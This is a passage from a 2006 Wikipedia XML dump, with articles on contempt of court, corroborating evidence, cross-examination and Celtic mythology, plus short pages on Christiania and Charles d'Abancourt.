&quot;Direct&quot; contempt is that which occurs in the presence of the presiding judge (''in facie curiae''), and may be dealt with summarily: the judge notifies the offending party that he or she has acted in a manner which disrupts the tribunal and prejudices the administration of justice, and after giving the person the opportunity to respond, may impose the sanction immediately.

&quot;Indirect&quot; contempt occurs outside the immediate presence of the court, and consists of disobedience of a court's prior order. Generally a party will be accused of indirect contempt by the party for whose benefit the order was entered. A person cited for indirect contempt is entitled to notice of the charge and an opportunity for hearing of the evidence of contempt, and to present evidence in rebuttal. 

Sanctions for contempt may be criminal or civil. If a person is to be punished criminally, then the contempt must be proven beyond a [[reasonable doubt]], but once the charge is proven, then punishment (such as a [[fine]] or, in more serious cases, imprisonment) is imposed unconditionally. The civil sanction for contempt (which is typically incarceration in the custody of the sheriff or similar court officer) is limited in its imposition for so long as the disobedience to the court's order continues: once the party complies with the court's order, the sanction is lifted. The contemnor is said to &quot;hold the keys&quot; to his own cell, thus conventional due process is not required. The [[burden of proof]] for civil contempt, however, is a preponderance of the evidence, and punitive sanctions (punishment) can only be imposed after due process.

==See also==

*[[Contempt of Congress]] - in the United States, the same crime but against the [[Congress of the United States|U.S. Congress]]
*[[Contempt of Parliament]] - a similar concept to Contempt of Congress, but a power of [[Parliament]]
*[[Perjury]] - lying to the court is a separate criminal offence in most jurisdictions, but is analogous to contempt in many ways.
*[[Perverting the course of justice]] - A criminal offence in [[English law]] where a person seeks to subvert court proceedings.

[[Category:Common law]]
[[Category:Civil law]]

[[no:Rettergangsstraff]]</text>
    </revision>
  </page>
  <page>
    <title>Corroborating evidence</title>
    <id>7202</id>
    <revision>
      <id>34858763</id>
      <timestamp>2006-01-12T06:16:45Z</timestamp>
      <contributor>
        <username>Poor Yorick</username>
        <id>9697</id>
      </contributor>
      <comment>disamb</comment>
      <text xml:space="preserve">'''Corroborating evidence''' is evidence that tends to support a proposition that is already supported by some evidence.  For example, W, a witness, testifies that she saw X drive his automobile into a green car.  Y, another witness, testifies that when he examined X's car later that day he noticed green paint on its fender.

For more information on this type of reasoning see [[casuistry]].

Another type of corroborating evidence comes from using the [[Baconian method]], i.e. the  [[method of agreement]], [[Mill's Methods#Method of difference|method of difference]], and [[method of concomitant variations]].

These are followed in experimental design. They were codified by [[Francis Bacon (philosopher)|Francis Bacon]], and developed further by [[John Stuart Mill]] and consist of controlling several variables in turn to establish which variables are causally connected. These principles are widely used intuitively in various kinds of proofs, demonstrations and investigations, in addition to being fundamental to experimental design.

==See also==
*[[Judgment]]
 
==References==

Plutchik, Robert (1983) ''Foundations of Experimental Research'' Harper's Experimental Psychology Series.

[[Category:Evidence]]</text>
    </revision>
  </page>
  <page>
    <title>Cross-examination</title>
    <id>7203</id>
    <revision>
      <id>39535767</id>
      <timestamp>2006-02-14T03:39:04Z</timestamp>
      <contributor>
        <username>BDAbramson</username>
        <id>196446</id>
      </contributor>
      <minor />
      <comment>[[WP:AWB|AWB assisted]] clean up</comment>
      <text xml:space="preserve">{{EvidenceLaw}}
:''See [[Structure of policy debate]] for cross-examination in [[policy debate]].''

In [[law]], '''cross-examination''' is the interrogation of a [[witness]] called by one's opponent.  It is preceded by [[direct examination]] and may be followed by a [[redirect (law)|redirect]].

In the United States, the cross-examining [[lawyer|attorney]] is typically not permitted to ask questions which do not pertain to the facts revealed in direct examination.  This is called going beyond the scope of the direct examination.  Unlike in direct examinations, however, [[leading question]]s are typically permitted in a cross-examination, since the witness is presumed to be sympathetic to the opposing side.  

See also [[testimony]].

[[Category:Criminal procedure]]
[[Category:Civil procedure]]
[[Category:Evidence]]
[[Category:Legal terms]]

[[de:Kreuzverhör]]


{{law-stub}}</text>
    </revision>
  </page>
  <page>
    <title>Celtic mythology</title>
    <id>7205</id>
    <revision>
      <id>42107470</id>
      <timestamp>2006-03-03T21:49:34Z</timestamp>
      <contributor>
        <username>Whateley23</username>
        <id>241971</id>
      </contributor>
      <comment>/* Books on Celtic mythology */  there is already a bibliography, and the Matthewses are not a reliable source</comment>
      <text xml:space="preserve">{| border=&quot;1&quot; width=&quot;300&quot; align=&quot;right&quot;
!align=&quot;left&quot; bgcolor=&quot;slategray&quot; colspan=&quot;2&quot;|Topics in Celtic mythology
|-align=&quot;center&quot;
!align=&quot;left&quot; bgcolor=&quot;paleturquoise&quot;|Creation
|align=&quot;left&quot;|&lt;small&gt;[[Beira (mythology)|Beira]]&lt;/small&gt;
|-align=&quot;center&quot;

!align=&quot;left&quot; bgcolor=&quot;cadetblue&quot;|Ancient Celtic or Gaulish deities
|align=&quot;left&quot;|&lt;small&gt;[[Abandinus]], [[Abellio]], [[Abnoba]], [[Adsullata]], [[Aericura]], [[Agrona]], [[Alaunus]], [[Alisanos]], [[Ambisagrus]], [[Ancamna]], [[Andarta]], [[Andraste]], [[Anextiomarus]], [[Arduinna]], [[Arnemetia]], [[Artio]], [[Arvernus]], [[Aufaniae]], [[Aveta]], [[Belatu-Cadros]], [[Belenus]], [[Belisama]], [[Borvo]], [[Brigantia (goddess)|Brigantia]], [[Britannia]], [[Buxenus]], [[Camma]], [[Camulus]], [[Cernunnos]], [[Clota]], [[Cocidius]], [[Condatis]], [[Contrebis]], [[Coventina]], [[Damara (goddess)|Damara]], [[Damona]], [[Dea Matrona]], [[Dea Sequana]], [[Dis Pater (mythology)|Dis]], [[Epona]], [[Esus]], [[Fagus (Celtic God)|Fagus]], [[Grannus]], [[Hooded Spirits]], [[Icaunus]], [[Leucetios]], [[Lugus]], [[Luxovius]], [[Maponos]], [[Matres]], [[Nantosuelta]], [[Nantosuetta]], [[Nemetona]], [[Nemausus]], [[Nodens]], [[Ogmios]], [[Robur]], [[Rosmerta]], [[Rudianos]], [[Sabrina]], [[Segomo]], [[Sequana]], [[Sirona]], [[Smertios]], [[Sucellos]], [[Sul]], [[Tamesis]], [[Taranis]], [[Teutates]], [[Toutatis]], [[Verbeia]], [[Vosegus]]
|-align=&quot;center&quot;

!align=&quot;left&quot; bgcolor=&quot;darkblue&quot;|Creatures
|align=&quot;left&quot;|&lt;small&gt;[[Áes Sídhe]], [[An Slua Sídhe]], [[Ankou]], [[bánánach]], [[Banshee]], [[Baobhan sith]], [[Bean Nighe]], [[Boggart]], [[Cait Sidhe]], [[Caoránach]], [[Cath Palug]], [[Cath Puluc]], [[Ceffyl-Dwr]], [[Cirein crôin]], [[copóg Phádraig]], [[Cu Sith]], [[Cŵn Annwn]], [[Daoine maite]] [[Dobhar-chu]], [[Donn Cuailnge]], [[Each uisge]], [[Finnbhennach]], [[Hinkypunk#Will o' the wisp#Hinkypunk|Hinkypunk]] [[Kelpie]], [[Knucker]], [[Leanan sídhe]], [[Nix]], [[Nuckalavee]], [[Puck (mythology)|Pwca]], [[Red Cap]], [[Sídhe]], [[Sluagh]], [[Y Ddraig Goch]]
|-align=&quot;center&quot;

!align=&quot;left&quot; bgcolor=&quot;green&quot;|Irish mythological characters
|align=&quot;left&quot;|&lt;small&gt;[[Abartach]], [[Abhean]], [[Aengus]], [[Aoi Mac Ollamain|Ai]], [[Aibell]], [[Aimend]], [[Aine]], [[Airmed]], [[Anann]], [[Badb]], [[Balor]], [[Banba]], [[Beag]], [[Bebhionn]], [[Bechuille]], [[Birog]], [[Boann]], [[Bodb]], [[Bodb Dearg]], [[Brea]], [[Breg]], [[Bres]], [[Brigid]], [[Bronach]], [[Buarainech]], [[Caer Ibormeith|Caer]], [[Cailleach]], [[Canola (Celtic mythology)|Canola]], [[Carman]], [[Cenn Cruaich]], [[Cessair]], [[Cethlenn]], [[Cethlion]], [[Cian]], [[Cliodhna]], [[Creidhne]], [[Corb]], [[Crom Cruach]], [[Cú Roí mac Daire]], [[Dagda]], [[Danu (Irish goddess)|Danu]], [[Dian Cecht]], [[Edain]], [[Elatha]], [[Etain]], [[Ethlinn]], [[Ethne]], [[Eri]], [[Ériu]], [[Fand]], [[Fionnuala]], [[Fodla]], [[Goibniu]], [[Lir]], [[Luchtaine]], [[Lugh]], [[Macha]], [[Manannan mac Lir]], [[Miach]], [[Midir]], [[Mog Ruith]], [[Morrigan]], [[Murigen]], [[Neit]], [[Nemain]], [[Niamh]], [[Nuada]], [[Ogma]], [[Plor na mBan]], [[Sheila-na-gig]], [[Tailtiu]], [[Tethra]], &lt;/small&gt;
|-align=&quot;center&quot;

!align=&quot;left&quot; bgcolor=&quot;green&quot;|Irish kings, heroes and other mortals
|align=&quot;left&quot;|&lt;small&gt;[[Cailte]], [[Conall Cernach]], [[Conchobar]], [[Conan Mac Moirna]], [[Conan Maol]], [[Conn of the Hundred Battles]], [[Cormac mac Airt]], [[Cuchulainn]], [[Cumhail]], [[Dechtere]], [[Deirdre]], [[Diarmait]], [[Emer]], [[Ferdiad]], [[Fergus mac Roich]], [[Fionn mac Cumhail]], [[Lughaid Stronghand]], [[Medb]], [[Oisin]], [[Osgur]]&lt;/small&gt;
|-align=&quot;center&quot;

!align=&quot;left&quot; bgcolor=&quot;red&quot;|Welsh mythological characters
|align=&quot;left&quot;|&lt;small&gt;[[Amaethon]], [[Arawn]], [[Arianrhod]], [[Avalloc]], [[Beli]], [[Blodeuwedd]], [[Bran the Blessed]], [[Branwen]], [[Caswallawn]], [[Ceridwen]], [[Cigva]], [[Creiddylad]], [[Culhwch]], [[Cŵn Annwn]], [[Cyhiraeth]], [[Dewi]], [[Dôn]], [[Dwyn]], [[Dylan Eil Ton]], [[Efnisien]], [[Elen]], [[Eurosswydd]], [[Govannon]], [[Gwenn Teir Bronn]], [[Gwydion]], [[Gwyn ap Nudd]], [[Hafgan]], [[Llew Llaw Gyffes]], [[Llyr]], [[Lud (god)|Lud]], [[Mabon]], [[Manawydan]], [[Math ap Mathonwy]], [[Modron]], [[Nisien]], [[Ogyruan]], [[Olwen]], [[Penarddun]], [[Pryderi]], [[Pwyll]], [[Rhiannon]], [[Taliesin]]
|-align=&quot;center&quot;

!align=&quot;left&quot; bgcolor=&quot;cadetblue&quot;|Scottish mythological characters
|align=&quot;left&quot;|&lt;small&gt;[[Alastir]], [[Dia Griene]], [[Inghean Bhuidhe]], [[Lasair]], [[Latiaran]], [[Ossian]], [[Shoney]], 
|-align=&quot;center&quot;

!align=&quot;left&quot; bgcolor=&quot;deepskyblue&quot;|Locations
|align=&quot;left&quot;|&lt;small&gt;[[Annwn]], [[Mag Mell]], [[Sidh]], [[Tir na n-Og]]&lt;/small&gt;
|-align=&quot;center&quot;
!align=&quot;left&quot; bgcolor=&quot;deepskyblue&quot;|Weapons
|align=&quot;left&quot;|&lt;small&gt;[[Fragarach]], [[Gae Bulg]], [[Spear Luin]]&lt;/small&gt;
|-align=&quot;center&quot;
!align=&quot;left&quot; bgcolor=&quot;deepskyblue&quot;|Worship
|align=&quot;left&quot;|&lt;small&gt;[[Beltane]], [[Imbolc]], [[Lughnasadh]], [[Samhain]]&lt;/small&gt;
|}

[[Celtic mythology]] is the [[mythology]] of [[Celtic polytheism]], the apparent religion of the [[Iron Age]] [[Celts]]. Like other [[Iron Age]] Europeans, the early [[Celts]] maintained a [[polytheistic]] mythology and religious structure. Among Celtic peoples in close contact with Rome, such as the [[Gaul]]s and [[Celtiberians]], their mythology did not survive the [[Roman empire]], their subsequent conversion to [[Christianity]], and the loss of their Celtic languages. Ironically it is through contemporary Roman and Christian sources that what we do know of their beliefs has come down to us.  In contrast, those Celtic peoples who maintained either their political or linguistic identities (such as the [[Gaels]] and [[Brythonic]] tribes of the [[British Isles]]) did transmit at least vestigial remnants of the mythologies of their Iron Age forebears, which were often recorded in written form during the [[Middle Ages]].

==Historical sources==
Because of the scarcity of surviving materials bearing written [[Gaulish language|Gaulish]], it is surmised that the pagan Celts were not widely literate&amp;mdash; although a written form of Gaulish using the [[Greek alphabet|Greek]], [[Latin alphabet|Latin]] and [[Old Italic alphabet|North Italic]] alphabets were used (as evidenced by votive items bearing inscriptions in Gaulish and the [[Coligny Calendar]]). Caesar attests to the literacy of the Gauls, but also wrote that their priests, the [[druids]], were forbidden to use writing to record certain verses of religious significance (Caesar, De Bello Gallico 6.14) while also noting that the Helvetii had a written census (Caesar, De Bello Gallico 1.29).

Rome introduced a more widespread habit of public inscriptions, and broke the power of the druids in the areas it conquered; in fact, most inscriptions to [[deity|deities]] discovered in [[Gaul]] (modern [[France]]), [[Roman Britain|Britain]] and other formerly (or presently) Celtic-speaking areas post-date the Roman conquest. 

And although early Gaels in Ireland and parts of modern [[Wales]] used the [[Ogham]] script to record short inscriptions (largely personal names), more sophisticated literacy was not introduced to Celtic areas not conquered by Rome until the advent of [[Christianity]]; indeed, many Gaelic myths were first recorded by Christian [[monks]], albeit without most of their original religious meanings.

===Julius Caesar’s comments on Celtic Religion and their significance===
The classic entry about the Celtic gods of Gaul is the section in [[Julius Caesar]]'s ''[[De Bello Gallico|Commentarii de bello Gallico]]'' (52–51 BC; The Gallic War). In this he names the five principal gods worshipped in Gaul (according to the practice of his time, he gives the names of the closest equivalent Roman gods) and describes their roles. [[Mercury (mythology)|Mercury]] was the most venerated of all the deities and numerous representations of him were to be discovered. Mercury was seen as the originator of all the arts (and is often taken to refer to [[Lugus]] for this reason), the supporter of adventurers and of traders, and the mightiest power concerning trade and profit. Next the Gauls revered [[Apollo]], [[Mars (mythology)|Mars]], [[Jupiter (mythology)|Jupiter]], and [[Minerva]]. Among these divinities the Celts are described as holding roughly equal views as did other populations: Apollo dispels sickness, Minerva encourages skills, Jupiter is in charge of the skies, and Mars influences warfare. In addition to these five, he mentions that the Gauls traced their ancestry to [[Dis Pater]].

====The Problem with Caesar’s ‘Equivalent’ Roman Gods====
As typical of himself as a Roman of the day, though, Caesar does not write of these gods by their Celtic names but by the names of the Roman gods with which he equated them, a process that significantly confuses the chore of identifying these Gaulish gods with their native names in the insular mythologies. He also portrays a tidy schema which equates deity and role in a manner that is quite unfamiliar to the colloquial literature handed down. Still, despite the restrictions, his short list is a helpful and fundamentally precise observation. In balancing his description with the oral tradition, or even with the Gaulish iconography, one is apt to recollect the distinct milieus and roles of  these gods. Caesar's remarks and the iconography allude to rather dissimilar phases in the history of Gaulish religion. The iconography of Roman times is part of a setting of great social and political developments, and the religion it depicts may actually have been less obviously ordered than that upheld by the druids (the priestly order) in the era of Gaulish autonomy from Rome. Conversely, the want of order is often more ostensible than factual. It has, for example, been noticed that out of the several hundred names including a Celtic aspect testified in Gaul the greater part crop up only once. This has led some scholars to conclude that the Celtic deities and the related cults were local and tribal as opposed to Pan-Celtic. Proponents of this opinion quote Lucan's reference to a divinity called [[Teutates]], which they translate  as “tribal spirit” (*teuta is believed to have meant “tribe” in Proto-Celtic). The apparent array of divine names may, nonetheless, be justified differently: many may be mere labels applied to key gods worshiped in extensive Pan-Celtic cults. The concept of the Celtic pantheon as  a large number of local deities is gainsaid by the numerous well-testified gods whose cults seem to have been followed across the Celtic world.

==Branches of Celtic mythology==
Celtic mythology can be divided into a number of distinct, if related, subgroups, largely corresponding to the branches of the [[Celtic languages]]:
* Ancient Celtic
** [[:Category:Ancient Gaulish and British deities|Ancient Gaulish and British deities]]
* [[Goidelic]]
** [[Irish mythology]]
*** [[Mythological Cycle]]
*** [[Ulster Cycle]]
*** [[Fenian cycle]]
*** [[Historical Cycle]]
** [[Scottish mythology]]
** [[Manx mythology|Manx mythology]]
* Insular [[Brythonic]]
** [[Welsh mythology]]
** [[Cornish mythology]]
** [[:Category:Breton mythology and folklore|Breton mythology]]


==Celtic deities==

===The gods of the ancient Celts===
Though the Celtic world at its greatest extent covered much of western and central Europe, it was not politically unified nor was there any substantial central source of cultural influence or homogeneity; as a result, there was a great deal of variation in local practices of Celtic religion (although certain motifs&amp;mdash;for example, the god [[Lugh]]&amp;mdash;appear to have diffused throughout the Celtic world). Inscriptions to more than three hundred deities, often equated with their Roman counterparts, have survived, but most appear to have been ''[[genius loci|genii locorum]]'', local or tribal gods, and few were widely worshipped.

The nature and functions of these ancient gods can be deduced from their names, the location of their inscriptions, their [[iconography]], the Roman gods they are equated with, and similar figures from later bodies of Celtic mythology.

===The gods of Ireland===
The oldest body of myths is found in early medieval [[manuscripts]] from [[Ireland]]. These were written by Christians, so the formerly divine nature of the characters is obscured. The basic myth appears to be a war between two apparently divine races, the [[Tuatha Dé Danann]] and the [[Fomorians]], which forms the basis for the text ''[[Cath Maige Tuireadh]]'' (the Battle of Mag Tuireadh), as well as portions of the great pseudohistorical construct ''[[Lebor Gabála Érenn]]'' (the Book of Invasions). The Tuatha Dé represent the functions of human society such as kingship, crafts and war, while the Fomorians represent chaos and wild nature.

===The gods of Wales===
The gods of [[Prehistoric Britain|Britain]], also obscured by centuries of Christianity, have come down to us in manuscripts from [[Wales]]. Here the two main groups of former gods are the children of [[Dôn]] and the Children of [[Llyr]], although any distinction of function between the two groups is not apparent.

===[[The Dagda]]===
The supreme god of the Celtic [[wiktionary:pantheon|pantheon]] appears to have been the Dagda. The name means the 'Good God', not good in a moral sense, but good at everything, or all-powerful. The Dagda is a father-figure, a protector of the tribe and the basic Celtic god of whom other male Celtic deities were variants. Celtic gods were largely unspecialised entities, and perhaps we should see them as a clan rather than as a formal pantheon. In a sense, all the Celtic gods and goddesses were like the Greek [[Apollo (god)|Apollo]], who could never be described as the god of any one thing.

Because the particular character of Dagda is a figure of burlesque lampoonery in Irish mythology, some authors conclude that he was trusted to be benevolent enough (or ineffectual) to tolerate a joke at his expense.

Irish tales depict the Dagda as a figure of power, armed with a club and associated with a [[cauldron]]. In [[Dorset]] there is a famous outline of an [[ithyphallic]] giant known as the [[Cerne Abbas Giant]] with a club cut into the chalky soil. While this was probably produced in Roman times, it has long been thought that it represents the Dagda. This has been called into question by recent studies which show that there may have been a representation of what looks like a large drapery hanging from the horizontal arm of the figure, leading to suspicion that this figure actually represents [[Hercules]]([[Herakles]]), with the skin of the [[Nemean Lion]] over his arm and carrying the club he used to kill it.  In [[Gaul]], it is speculated that the Dagda is associated with [[Sucellos]], the striker, equipped with a hammer and cup.

===The [[Morrigan|Morrígan]]===
Morrigan was a tripartite battle goddess of the ancient Irish Celts.  Collectively she was known as the Morrigu, but her divisions were also reffered to as Nemhain, Macha, and Badh, which each represtented different aspects of war.  She is most commonly known for her involvement in the Tain Bo Culligne, where is at the same time helper and hindrance of the hero Cuchulain.  She was often represtented as a crow or raven but could take many different forms, including a cow, wolf or eel.

===[[Belenus]]===
Belenus was a more regional deity, who was worshipped mostly in Northern [[Italy]] and the Gaulish [[Mediterranean]] coast. 
He was primarily a god of agriculture. 
A great festival called [[Beltaine]] was associated with him.  Some debate still lingers as to whether he was actually a deity at all.  His name means &quot;bright and shining&quot; and some feel that 'he' simply represtents the great bonfires of the holiday Beltaine.

===[[Lugh|Lúgh]]/Lug===
The widespread diffusion of the god Lug (seemingly related to the mythological figure [[Lugh|Lúgh]] in Irish) in Celtic religion is apparent from the number of place names in which his name appears, occurring across the Celtic world from Ireland to Gaul. 
The most famous of these are the cities of [[Lugdunum]] (the modern French city of [[Lyon]]) and Lugdunum Batavorum (the modern city of [[Leiden]]).
Lug is described in the Celtic myths as a latecomer to the list of deities, and is usually described as having the appearance of a young man. 
His weapons were the throwing-spear and [[sling (weapon)|sling]], and in Ireland a festival called the [[Lughnasa]] (Modern Irish ''lúnasa'') was held in his honour.

===Other gods===
The Celts also worshipped a number of deities of which we know little more than their names. 
Among these are the goddess [[Brigit]] (or Brigid), the Dagda's daughter; nature goddesses like [[Tailtiu]] and [[Macha]]; and [[Epona]], the horse goddess. 
Male gods included [[Cu Roi]] and [[Goibniu]], the immortal brewer of [[beer]].

[[Cernunnos]] (the Horned One) is evidently of great antiquity, but we know little about him. 
It is probably he who appears on the famous embossed [[Gundestrup cauldron|silver bowl]] found in [[Gundestrup]], [[Denmark]] which dates from the 1st or 2nd century BC. 
The Roman writer [[Lucan (poet)|Lucan]] (1st century AD) mentions the gods [[Taranis]], [[Toutatis|Teutates]] and [[Esus]], but there is little Celtic evidence that these were important deities.

Some of these gods and goddesses may have been variants of each other; Epona the [[Gallo-Roman]] horse goddess, for instance, may well have developed into the goddesses Rhiannon, in Wales, and [[Macha]], who was mostly worshipped in [[Ulster]]. 
Polytheistic peoples rarely care to keep their pantheons in the neat and tidy order in which scholars would like to find them.

==Temples==
[[Image:Celtic_Knot_two-part_circle.jpg|thumb|A classic Celtic knot pattern]]
[[Image:Triskele-hollow-triangle.png|thumb|One form of decorative spiral triskelion]]

Often it is said that the Celtic peoples built no [[temple]]s, and worshipped only outside in groves of trees. Archaeology has long shown this is untrue, with various temple structures throughout the Celtic world being known. With the Roman conquest of parts of the Celtic world a distinct type of Celto-Roman temple called a ''fanum'' also was developed. This was distinguished from a Classical temple by having an ambulatory on all four sides of the central [[cella]].

==Celtic worship==
The early Celts considered some trees to be sacred. 
The importance of trees in Celtic religion is shown by the fact that the very name of the [[Eburonian]] tribe contains a reference to the yew tree, and that names like [[Mac Cuilinn]] (son of holly) and [[Mac Ibar]] (son of yew) appear in Irish myths.

Roman writers stated that the [[Celts and human sacrifice|Celts practiced human sacrifice]] on a fairly large scale and there is peripheral support for this in Irish sources; however, most of this information is secondhand or hearsay.
There are only very few recorded archaeological discoveries which substantiate the sacrificial process and thus most contemporary historians tend to regard human sacrifice as rare within Celtic cultures. 

There was also a [[warrior]] cult that centered on the severed heads of their enemies. 
The Celts provided their dead with weapons and other accoutrements, which indicates that they believed in an afterlife. 
Before burial, they also severed the dead person's head and shattered the skull, perhaps to prevent the ghost from wandering.

== The druids ==
The [[druids]], who have been romanticised in modern literature, were the largely hereditary class of [[priest]]s responsible for transmitting and practicing the mythological and religious traditions of the Celtic peoples. (The role of the druids may be compared to those of the Indian [[Brahmin]] caste or the Iranian [[magi]], and like them specialised in the practices of magic, sacrifice and augury.  Because of the similarities among these classes among divergent branches of [[Indo-European]] descendant cultures, it has been proposed that the role stems back to a similar class among the [[proto-Indo-Europeans]].
The druids were particularly associated with [[oak]] trees and mistletoe (a [[parasite|parasitic]] herb that commonly grows on oak trees); perhaps they used the latter to brew medicines or hallucinogenic concoctions. To help understand the meaning, the word druid is often believed to come from the root word meaning &quot;oak&quot;, although this probable [[proto-Indo-European language|proto-Indo-European]] root may have had the general meaning of solidity.
[[Bard]]s, on the other hand, were those who sang the songs recalling the tribal warriors' deeds of bravery as well as the genealogies and family histories of the ruling strata among Celtic societies.
The Celtic culture was not a historical culture, in the sense that prior to contact with Mediterranean civilizations, the Celtic peoples recorded no written history. However, Celtic peoples did maintain an often intricate spoken history committed to memory and transmitted by bards. Similar to other pre-literate cultures (see, for example, the [[Vedas]] of India, which were transmitted for centuries solely by memorization in an archaic form of [[Sanskrit]] that had not been spoken as a vernacular for hundreds of years), bards facilitated the memorization of such materials by the use of [[poetry|poetic]] meter and rhyme.
In addition, there may have been a class of &quot;seers&quot; or &quot;prophets&quot;. 
[[Strabo]] calls them vates, from a Celtic word meaning &quot;inspired&quot; or &quot;ecstatic&quot;. It is therefore possible that Celtic society had, in addition to the ritualistic and thaumaturgical religion of the druids, a shamanic element of ecstatic communication with the underworld.
===Significance of prophecy in Druidic ritual===
Diodorus remarks upon the importance of prophets in Druidic ritual: &amp;#8216;These men predict the future by observing the flight and calls of birds and by the sacrifice of holy animals: all orders of society are in their power&amp;#8230;and in very important matters they prepare a human victim, plunging a dagger into his chest; by observing the way his limbs convulse as he falls and the gushing of his blood, they are able to read the future.&amp;#8217; These Graeco-Roman comments are supported to some extent by archaeological excavations. At Ribemont in Picardy, France, there were revealed pits filled with human bones and thigh bones deliberately fixed into rectangular patterns. This shrine is believed to have been razed to the ground by Julius Caesar while he was subduing Gaul. At a bog in Lindow, Cheshire, England was discovered a body which may also have been the victim of a druidic ritual. The body is now on display at the British Museum, London.

==Modern remnants==
The indigenous Celtic beliefs and ways have had a large impact on the modern Celtic cultures. Mythology based on (though, not identical to) the pre-Christian religion was common place knowledge in Celtic speaking cultures up to today, though it is now dwindling. Additionally, many unofficial saints are believed in, such as Brìd in Scotland (Brighid in Ireland), which have the same names as known deities. Various rituals involving acts of pilgrimage to sites such as hills and sacred wells which are believed to have curative or otherwise beneficial properties are still performed.

Based on evidence from the European continent, various figures which are still known in folklore in the Celtic countries up to today or take part in post-Christian mythology can be known to have also been worshipped in those areas that did not have records before Christianity.

Some of these are:
*Lugh in Ireland, Lugus in Gaul, and Llew in Wales
*Brighid or Bríd in Ireland, Brigindo in Gaul, and possibly Brigantia in Britain
*Maponos in Britain and Gaul, Mabon in Wales, and a likely related god Aengus Mac Óg in Ireland
*Núadha in Ireland and Nodens in Britain
*Badhbh Catha in Ireland and Cathubodua in Gaul

Differences in the names are accounted by diversion within the languages of the different groups.

===Druidism?===
Often the religious systems of the Celtic peoples are called &quot;[[Druidry]]&quot; or &quot;[[Druidism]]&quot;. This is very much a misnomer, suggesting only the Druids were involved in religion, or that they had a distinct religion. This is akin to suggesting that Catholicism is Bishopry. The Druids existed as a functional part within a larger framework, as priests for instance. There are now numerous systems which have either been made up whole, or attempt to revive Celtic beliefs, and more often a mix of both called &quot;Druidism&quot;. A problem with calling an attempt at reviving Celtic beliefs Druidism however is that, again, it would be like calling a revived Catholicism Bishopry or Judaism Rabbiry. Doing so goes beyond simply misnaming the religion but suggests a fundementally wrong (ahistorical) structure, such as a religion which consists entirely of priest figures, or is different somehow from people they serve. Since the religious system of the [[Celts]] was indisputably [[polytheistic]], the religion is more accurately termed [[Celtic polytheism]].

Some people of the modern Celtic cultures, and others descended from them in the Celtic diaspora, are attempting to revive what they regard as their indigenous religion.

The modern religion of [[Wicca]] created in the 20th century from numerous heterogenous sources is sometimes mistakenly believed to be a Celtic religion, although any relationship thereto is based on modern borrowing of discrete facets derived from recent historical and archaelogical findings.



==See also==
* [[Irish mythology]]
* [[Druidism]]
* [[Gundestrup cauldron]]
* [[Triskele]]
* [[Celts]], [[Gaul]]s
* [[Partholon]]
* [[Kelpie]]

==References==
*de Vries, Jan, ''Keltische Religion'' (1961)
*Duval, Paul-Marie, ''Les Dieux de la Gaule'', new ed. updated and enlarged (1976). 
*Ellis, Peter Berresford, ''Dictionary of Celtic Mythology'' (Oxford Paperback Reference), Oxford University Press, (1994): ISBN 0195089618
*Green, Miranda J. ''Dictionary of Celtic Myth and Legend'' New York: Thames and Hudson, 1992. ISBN 0500279756.
*MacCana, Proinsias. ''Celtic Mythology''. New York: Hamlyn, 1970. ISBN 0600006476.
*Mac Cana, Proinsias, ''The Learned Tales of Medieval Ireland'' (Irish Literature - Studies), Dublin Institute for Advanced Studies (1980): ISBN 1855001209 
*MacKillop, James. ''Dictionary of Celtic Mythology''. Oxford: Oxford University Press, 1998. ISBN 0192801201.
*Matthews, John. ''Classic Celtic Fairy Tales''. Blandford Books, 1997. ISBN 0713727837.
*Monaghan, Patricia. ''The Red-Haired Girl from the Bog: The Landscape of Celtic Myth and Spirit.''  New World Library, 2002.  ISBN 1577311906.
*O'Rahilly, Thomas F. ''Early Irish History and Mythology'' (1946, reissued 1971)
*Rhys, John, ''Lectures on the Origin and Growth of Religion as Illustrated by Celtic Heathendom'' 3rd ed. (1898, reprinted 1979).
*Sjoestedt, M. L. ''Gods and Heroes of the Celts''. 1949; translated by Myles Dillon. repr. Berkeley, CA: Turtle Press, 1990. ISBN 1851821791.
*Stercks, Claude, ''Éléments de cosmogonie celtique'' (1986)
*Vendryès, Joseph, Ernest Tonnelat, and B.-O. Unbegaun ''Les Religions des Celtes, des Germains et des anciens Slaves'' (1948).
*Wood, Juliette ''The Celts: Life, Myth, and Art'' Thorsons Publishers (2002): ISBN 0007640595

==External links==
*[http://www.timelessmyths.com/celtic Timeless Myths - Celtic Mythology] provides information and tales from Irish and Welsh literature.
*[http://www.unc.edu/celtic/catalogue/Gundestrup/kauldron.html Celtic Art &amp; Cultures]: a detailed description of the [[Gundestrup cauldron]]
*[http://draeconin.com/database/celtreli.htm Celtic Religion - What Information do we really have]&lt;Br&gt;
*[http://www.conjure.com/whocelts.html What We Don't Know About the Ancient Celts]
* [http://www.cybersamurai.net/Mythology/CelticMyth.htm CyberSamurai Encyclopedia of Celtic Mythology]



[[Category:Celtic mythology|*]]

[[ca:Mitologia celta]]
[[de:Keltische Mythologie]]
[[es:Mitología celta]]
[[fi:Kelttiläinen mytologia]]
[[fr:Mythologie celtique]]
[[he:מיתולוגיה קלטית]]
[[ja:ケルト神話]]
[[nl:Keltische mythologie]]
[[pl:Mitologia celtycka]]
[[ro:Mitologie celtică]]
[[ru:Кельтская мифология]]
[[sr:Келтска митологија]]
[[sv:Keltisk mytologi]]
[[zh:克爾特神話]]</text>
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  <page>
    <title>Christiania</title>
    <id>7206</id>
    <revision>
      <id>39903194</id>
      <timestamp>2006-02-16T18:30:09Z</timestamp>
      <contributor>
        <username>B4hand</username>
        <id>3241</id>
      </contributor>
      <comment>Removed self-link</comment>
      <text xml:space="preserve">Depending on context, '''Christiania''' can refer to:

* Christiania, capital of Norway &amp;ndash; what [[Oslo]] was called from [[1624]] to [[1877]], named after [[Christian IV of Denmark and Norway|King Christian IV of Denmark and Norway]]; subsequently, the city was called [[Kristiania]] (q.v.). It wasn't before [[1925]] the city was named [[Oslo]] again, 20 years after their separation from [[Sweden]].
* [[Freetown Christiania]] &amp;ndash;  a partially self-governing neighborhood in Denmark's capital, [[Copenhagen]].

{{disambig}}

[[de:Christiania]]
[[fr:Christiania (homonymie)]]
[[nl:Christiania]]</text>
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  <page>
    <title>Charles d'Abancourt</title>
    <id>7207</id>
    <revision>
      <id>36053308</id>
      <timestamp>2006-01-21T05:15:24Z</timestamp>
      <contributor>
        <username>FeanorStar7</username>
        <id>160806</id>
      </contributor>
      <text xml:space="preserve">'''Charles Xavier Joseph de Franque Ville d'Abancourt''' ([[1758]] &amp;ndash; [[1792]]) was a [[France|French]] [[statesman]], and a nephew of [[Calonne]].

